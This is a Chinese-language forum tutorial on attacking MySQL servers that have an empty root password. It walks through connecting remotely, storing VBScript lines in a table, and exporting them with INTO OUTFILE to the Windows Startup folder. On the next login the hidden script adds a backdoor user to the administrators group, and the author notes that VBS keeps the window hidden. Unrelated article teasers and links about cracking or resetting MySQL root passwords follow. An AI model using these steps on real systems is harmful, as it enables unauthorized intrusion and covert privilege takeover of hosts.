MySQL用戶root密碼爲空的另類攻擊方法

這篇論壇文章(賽迪網技術社區)著重介紹了MySQL數據庫用戶root密碼爲空的另類攻擊方法,更多內容請參考下文:

1、連接到對方mysql 服務器

mysql -u root -h 192.168.0.1

mysql.exe 這個程序在你安裝了mysql的的bin目錄中

2、讓我們來看看服務器中有些什麽數據庫

mysql>show databases;

mysql默認安裝時會有mysql、test這兩個數據庫,如果你看到有其它的數據庫那麽就是用戶自建的數據庫。

3、讓我們進入數據庫

mysql>use test;

我們將會進入test數據庫中

4、查看我們進入數據庫中有些什麽數據表

mysql>show tables;

默認的情況下,test中沒有任何表的存在。

以下爲關鍵的部分

5、在test數據庫下創建一個新的表;

mysql>create table a (cmd text);

好了,我們創建了一個新的表,表名爲a,表中只存放一個字段,字段名爲cmd,爲text文本。

6、在表中插入內容

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add""0) " );

mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators zjl317 /add""0) " );

注意雙引號和括號以及後面的「0」一定要輸入!我們將用這三條命令來建立一個vbs的腳本程序!

7、好了,現在我們來看看表a中有些什麽

mysql>select * from a;

我們將會看到表中有三行數據,就是我們剛剛輸入的內容,確認你輸入的內容無誤後,我們來到下一步

8、輸出表爲一個vbs的腳本文件

mysql>select * from a into outfile "c:\\docume~1\\alluse~1\\「開始」菜單\\程序\\啓動\a.vbs";

我們把我們表中的內容輸入到啓動組中,是一個vbs的腳本文件!注意「\"符號。

9、看到這大家肯定知道了,就是利用mysql輸出一個可執行的文件而已。爲什麽不用bat呢,因爲啓動運行時會有明顯的dos窗口出來,而用vbs腳本則可以完全隱藏窗口且不會有錯誤提示!本來,應該還有一句完成腳本後自動刪除此腳本的,但是中文目錄實在無法處理,只有作罷!

· 把年齡相仿的獅虎熊放一起,誰更厲害?結果出人意料

很多人都想知道獅子、老虎和熊打起來誰最厲害,于是便有好事之人把這三種動物關在一起...

· 湖北宜昌三峽壩區水面驚現神秘動物

近日,湖北宜昌,一段視頻在當地熱傳:有網友在三峽壩區拍到神秘動物,體型碩大數米長...

· 什麽是語段?語段的類型以及和句群、段落的區別與聯系是什麽?

句群是最高級的語言單位。 段落(自然段)是章法單位...

 
MYSQL用戶root密碼爲弱口令又一攻擊方法
     一般就是寫一個ASP或PHP的後門,不僅很麻煩,而且還要猜解網站的目錄,如果對方沒有開IIS,那我們豈不沒辦法了??  後來,自己思索想到一個辦法,在我測試的幾台有此漏洞的機中均獲得了成功,現將我的攻...查看完整版>>MYSQL用戶root密碼爲弱口令又一攻擊方法
 
MYSQL用戶root密碼爲弱口令又一攻擊方法
  般就是寫一個ASP或PHP的後門,不僅很麻煩,而且還要猜解網站的目錄,如果對方沒有開IIS,那我們豈不沒辦法了??  後來,自己思索想到一個辦法,在我測試的幾台有此漏洞的機中均獲得了成功,現將我的攻擊方法公...查看完整版>>MYSQL用戶root密碼爲弱口令又一攻擊方法
 
講解幾種破解MySQL數據庫root密碼的方法
幾種破解mysql root密碼的幾種方法: 方法一 使用phpmyadmin,這是最簡單的了,修改mysql庫的user表,不過別忘了使用PASSWORD函數。 方法二 使用mysqladmin,這是前面聲明的一個特例。 mysqladmin -u root -p passwor...查看完整版>>講解幾種破解MySQL數據庫root密碼的方法
 
忘記了 MySQL 的 root 密碼
如果忘記了 MySQL 的 root 密碼,可以用以下方法重新設置: 1. KILL掉系統裏的MySQL進程; 2. 用以下命令啓動MySQL,以不檢查權限的方式啓動; mysqld_safe -skip-grant-tables & 3. 然後用空密碼方...查看完整版>>忘記了 MySQL 的 root 密碼
 
講解更改MySQL數據庫root密碼的具體方法
第一種︰使用 set password語法 shell> mysql -u root mysql mysql> SET PASSWORD FOR root=PASSWORD(’new_password’); 第二種︰使用 mysqladmin命令 shell>mysqladmin -u root password new_password 如...查看完整版>>講解更改MySQL數據庫root密碼的具體方法